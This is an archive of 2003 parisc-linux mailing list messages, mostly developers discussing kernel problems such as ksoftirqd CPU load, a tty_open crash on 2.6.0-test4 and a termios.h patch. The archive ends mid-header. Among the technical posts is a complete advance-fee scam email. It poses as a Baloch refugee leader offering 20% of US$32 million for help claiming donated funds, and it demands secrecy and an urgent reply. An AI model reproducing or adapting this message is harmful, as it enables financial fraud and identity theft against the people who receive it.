X-Trace: ger.gmane.org 1416622758 30703 80.91.229.3 (22 Nov 2014 02:19:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:18 +0000 (UTC)
To: Joel Soete <joel.soete@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 15:35:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39EC54884
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 15:35:11 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157024128.dialin.heagmedianet.de [213.157.24.128])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h84LV5pQ032628
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO);
	Thu, 4 Sep 2003 23:31:20 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <3F579FD4.9020303@tiscali.be>
X-MailScanner: Found to be clean
X-MailScanner-SpamCheck: not spam, SpamAssassin (score=-1.4, required 5,
	IN_REP_TO, PLING_QUERY, QUOTED_EMAIL_TEXT, REFERENCES,
	REPLY_WITH_QUOTES, USER_AGENT_MOZILLA_UA, X_ACCEPT_LANG)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19449

Hi Joel,

Joel Soete schrieb:

> Hi,
>
> Sorry if i do not follow your thread but this looks like a very old pb.
> Update your kernel (I do not remember exactly what is installed with 
> woody but all later) would help. 

Nice try ;) But this happens with kernel 2.4.22-pa3 :-o

>
>
> hth,
>    Joel
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>




From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd is using over 90% CPU (?!)
Date: Thu, 04 Sep 2003 21:52:21 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <3F57B415.9080603@tiscali.be>
References: <3F5794F3.4020507@hrzpub.tu-darmstadt.de> <3F579FD4.9020303@tiscali.be> <3F57AF1F.6080404@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622758 30706 80.91.229.3 (22 Nov 2014 02:19:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 15:52:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 159FE4890
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 15:52:07 -0600 (MDT)
Original-Received: from [62.235.120.78] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19v21G-0006ue-00; Thu, 04 Sep 2003 23:51:58 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3
X-Accept-Language: en
In-Reply-To: <3F57AF1F.6080404@hrzpub.tu-darmstadt.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19450

Ruediger Scholz wrote:

> Hi Joel,
>
> Joel Soete schrieb:
>
>> Hi,
>>
>> Sorry if i do not follow your thread but this looks like a very old pb.
>> Update your kernel (I do not remember exactly what is installed with 
>> woody but all later) would help. 
>
>
> Nice try ;) But this happens with kernel 2.4.22-pa3 :-o

Sorry, and the last test i did was 22-pa2 but i didn't notice this pb. 
(for the moment I am far away from my parisc box :( ).
Anyway I think that those 2 info would help pa's hacker's to locate the 
actual pb ;)

Thanks,
    Joel




From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crash with 2.6.0-test4-pa8 on 715/100
Date: Thu, 4 Sep 2003 17:51:27 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20030904215127.GD3627@systemhalted>
References: <3F5728AB.3040501@hrzpub.tu-darmstadt.de> <20030904140615.GN18654@parcelfarce.linux.theplanet.co.uk> <3F57A22C.5050902@tiscali.be> <20030904210000.GZ18654@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622758 30708 80.91.229.3 (22 Nov 2014 02:19:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 15:52:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF49F4890
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 15:52:44 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19v20l-00016J-00; Thu, 04 Sep 2003 17:51:27 -0400
Content-Disposition: inline
In-Reply-To: <20030904210000.GZ18654@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (32% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19451

On Thu, Sep 04, 2003 at 10:00:00PM +0100, Matthew Wilcox wrote:
> On Thu, Sep 04, 2003 at 08:35:56PM +0000, Joel Soete wrote:
> > Hi Willy,
> > >I'm seeing the same thing on my 712 without devfs.  Not sure what the
> > >problem is, and I'm having a hard time getting that box back up as it has
> > >a broken root filesystem (damn tar for being linked against libpthread!)
> > >
> > Is that libpthread the cause of your broken fs?
> 
> no, a 2.4 kernel doesn't have the same problem.

Signal related? What does the problem look like?

c.


From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd is using over 90% CPU (?!)
Date: Thu, 4 Sep 2003 17:52:52 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20030904215252.GE3627@systemhalted>
References: <3F5794F3.4020507@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622759 30711 80.91.229.3 (22 Nov 2014 02:19:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 15:54:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26F1048AF
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 15:54:22 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19v228-00017L-00; Thu, 04 Sep 2003 17:52:52 -0400
Content-Disposition: inline
In-Reply-To: <3F5794F3.4020507@hrzpub.tu-darmstadt.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (32% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19452

On Thu, Sep 04, 2003 at 09:39:31PM +0200, Ruediger Scholz wrote:
> Hi there,
> 
> just another question: I just ran top to look what processe are running 
> and noticed that ksoftirqd is up to 98% CPU time. I remember that there 
> was a problem that s.th in the kernel eats up a lot oft CPU time. Wasn't 
> it solved?
> 
> Ruediger

Read the FAQ:
http://www.parisc-linux.org/faq/index.html#ksoftirqd

c.


From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crash with 2.6.0-test4-pa8 on 715/100
Date: Thu, 4 Sep 2003 22:54:54 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20030904215454.GC18654@parcelfarce.linux.theplanet.co.uk>
References: <3F5728AB.3040501@hrzpub.tu-darmstadt.de> <20030904140615.GN18654@parcelfarce.linux.theplanet.co.uk> <3F57A22C.5050902@tiscali.be> <20030904210000.GZ18654@parcelfarce.linux.theplanet.co.uk> <20030904215127.GD3627@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622759 30712 80.91.229.3 (22 Nov 2014 02:19:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:19 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 15:54:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2579748AF
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 15:54:55 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19v246-0006ZU-6s; Thu, 04 Sep 2003 22:54:54 +0100
Content-Disposition: inline
In-Reply-To: <20030904215127.GD3627@systemhalted>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19453

On Thu, Sep 04, 2003 at 05:51:27PM -0400, Carlos O'Donell wrote:
> On Thu, Sep 04, 2003 at 10:00:00PM +0100, Matthew Wilcox wrote:
> > no, a 2.4 kernel doesn't have the same problem.
> 
> Signal related? What does the problem look like?

i said earlier; tty_open calls init_dev() with a bad `driver' parameter.
my WAG i can't verify because fucking GNU link *ls* against libpthread
is that /dev/console is screwed up.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] add MODULE_ALIAS_LDISC to asm-parisc/termios.h
Date: Fri, 05 Sep 2003 13:29:48 +1000
Lines: 23
Approved: news@gmane.org
Message-ID: <20030905052006.8A97E2C208@lists.samba.org>
References: <20030904141928.GO18654@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622759 30716 80.91.229.3 (22 Nov 2014 02:19:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:19 +0000 (UTC)
Cc: Arnaldo Carvalho de Melo <acme@conectiva.com.br>,
	Linus Torvalds <torvalds@osdl.org>,
	James Bottomley <James.Bottomley@steeleye.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 23:20:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lists.samba.org (dp.samba.org [66.70.73.150])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AD534830
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 23:20:07 -0600 (MDT)
Original-Received: by lists.samba.org (Postfix, from userid 590)
	id 8A97E2C208; Fri,  5 Sep 2003 05:20:06 +0000 (GMT)
In-reply-to: Your message of "Thu, 04 Sep 2003 15:19:28 +0100."
             <20030904141928.GO18654@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19454

In message <20030904141928.GO18654@parcelfarce.linux.theplanet.co.uk> you write
:
> On Thu, Sep 04, 2003 at 10:53:15AM -0300, Arnaldo Carvalho de Melo wrote:
> > 	This patch makes it compile, doing the same thing that was done to
> > include/asm-i386/termios.h, please see if this is acceptable, if it is I can
> > provide the same patch for all the other arches.
> 
> if it's the same for all arches, why not put it in <linux/termios.h>?

Because I'm stupid?

Linus, please apply,
Rusty.
--
  Anyone who quotes me in their sig is an idiot. -- Rusty Russell.

diff -urpN --exclude TAGS -X /home/rusty/devel/kernel/kernel-patches/current-dontdiff --minimal linux-2.6.0-test4-bk6/include/asm-i386/termios.h working-2.6.0-test4-bk6-tmp/include/asm-i386/termios.h
--- linux-2.6.0-test4-bk6/include/asm-i386/termios.h	2003-09-05 09:16:36.000000000 +1000
+++ working-2.6.0-test4-bk6-tmp/include/asm-i386/termios.h	2003-09-05 13:26:10.000000000 +1000
@@ -101,9 +101,6 @@ struct termio {
 
 #define user_termios_to_kernel_termios(k, u) copy_from_user(k, u, sizeof(struct termios))
 #define kernel_termios_to_user_termios(u, k) copy_to_user(u, k, sizeof(struct termios))

From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aqeel Ahmad Chughtai" <caqeel@libero.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Business / Financial Benefit from UK
Date: Fri, 5 Sep 2003 12:52:15 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20030905125130.D22B84830@dsl2.external.hp.com>
Reply-To: c.aqeel@caramail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622759 30718 80.91.229.3 (22 Nov 2014 02:19:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  5 06:51:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ok62299.com (unknown [213.136.99.23])
	by dsl2.external.hp.com (Postfix) with SMTP id D22B84830
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Sep 2003 06:51:30 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19455

VERY URGENT & CONFIDENTIAL

Mr=2E Aqeel Ahmad Chughtai
Aberystwyth=2C UK=2E
Email=3A c=2Eaqeel=40caramail=2Ecom

Assalamualaikum=2C  
Kindly Pardon me if this my letter would be an embarrassment to you for I am Mr=2E Aqeel Ahmad Chughtai=2C a Balochistan tribeman writing you from Aberystwyth=2C United Kingdom and I am presently on Political Asylum in the UK where I and several other Balochs sought refuge from the oppressive regime of the Iranian Government=2E

I am a council leader for one of the three refugee camps here in Europe=2C represents nearly 12=2C000 Balochs who have never received official refugee status because the EU Parliament only signed the U=2ES=2E Refugee Convention with the stipulation that United Kingdom and other European countries would not recognize non-Europeans as refugees=2E 

As a result=2C Balochs admitted into the UK have no rights=2C and no International agencies have been able to secure permission from the European Union to provide protection for the refugees=2C hence the UK Government have refused to grant me and others Political Asylum and they have gone further with threat to deport us back to Iran and I know that if this is done I would be killed if I step into Iran just as several students were killed recently during demonstration=2E I work to protect the welfare of displaced Balochs at great personal risk=2E My efforts have raised worldwide awareness of life in the makeshift camps where overcrowding=2C mass poisonings=2C beatings=2C and lack of medical supplies=2C water=2C and electricity cause hundreds of men=2C women=2C and children to die of cold=2
 C hunger=2C malnutrition=2C and communicable diseases=2E

The happy news here is that some public spirited philanthropists who would not want their identities made public called us after the unique and historical London Conference=2C which lasted for two days =28 26th & 27th of April 2003=29 told us that they have deposited the Sum of US$32Million with a Financial Institution in favour of the Balochs who are scattered all over the world and only I and or any person I nominate can claim the money from the Financial company and the money should be used mainly for purchasing of foods=2C pharmaceutical drugs=2C Clothings etc for thousands of our people suffering all over the world=2E  

I am therefore using this medium to solicit for your assistance=2E Your contacts were obtained  by me during my enduring search for a reliable and competent person that would claim this money for us from the company where it was deposited=2E 

There is a POWER OF ATTORNEY which I would  send alongside copies of my National Identity cards =2F Passport to you that would enable you claim the money from the Financial Company on our behalf=2E Upon your agreement and readiness to assist us claim the money =28US$32Million=29 from the Company=2C 20% of the total money would be your share for all your anticipated assistance=2C while 5% would be for any incidental expenses that you might incur in the process of claiming the money and transferring it to your Country=2C while the balance of 75% would be used to purchase Drugs=2C Clothing=2C Foods etc as earlier stated above=2C as I and a council leader of the people would find a way to travel down to your Country to make joint purchases of the above stated items=2E

I wish to repeat here that we have unshaken Confidence and trust in you and also wish to remind you of the TOP SECRECY this transaction requires=2C as we expect your positive response through this email address as stated above you can only reach me through this  above email as my movement is presently restricted by law covering Asylum Seekers=2C our movements are also restricted from travelling outside this Zone and Country for now=2C but  after receipt of your positive response and you wish to discuss with me I might give you a secret telephone number where you can reach me=2E On receiving your positive response we hope to finish this transaction within one week as a lot of our people are dying from diseases and hunger=2E

Expecting  your URGENT Positive response and thanks in advance=2E

Waalaikum salam=2C
Mr=2E Aqeel Ahmad Chughtai=09=09=09        









From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Fri, 5 Sep 2003 10:45:53 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20030905164553.GB10216@dsl2.external.hp.com>
References: <20030827060516.GA11642@dsl2.external.hp.com> <BFAC120A-D923-11D7-B547-000393581E44@speakeasy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622760 30723 80.91.229.3 (22 Nov 2014 02:19:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chuck Slivkoff <caslivkoff@speakeasy.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  5 10:45:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A4A974830; Fri,  5 Sep 2003 10:45:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <BFAC120A-D923-11D7-B547-000393581E44@speakeasy.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19456

On Thu, Aug 28, 2003 at 02:49:19AM -0400, Chuck Slivkoff wrote:
> >I have seen a B2000 with 8 DIMM slots and 6 PCI slots like a C3000.
> >This is no prototype - a real production unit.
> 
> Sounds like a B1000 to me. ;-) Essentially, a C3000 with a slower CPU.

Yes - you are right

thanks,
grant


From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a fast fls also for 2.6?
Date: Fri, 5 Sep 2003 12:26:21 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <20030905182621.GC10216@dsl2.external.hp.com>
References: <3F58838A.9010203@tiscali.be> <3F5888F3.5060609@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622760 30725 80.91.229.3 (22 Nov 2014 02:19:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  5 12:26:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 21D2A4830; Fri,  5 Sep 2003 12:26:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F5888F3.5060609@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
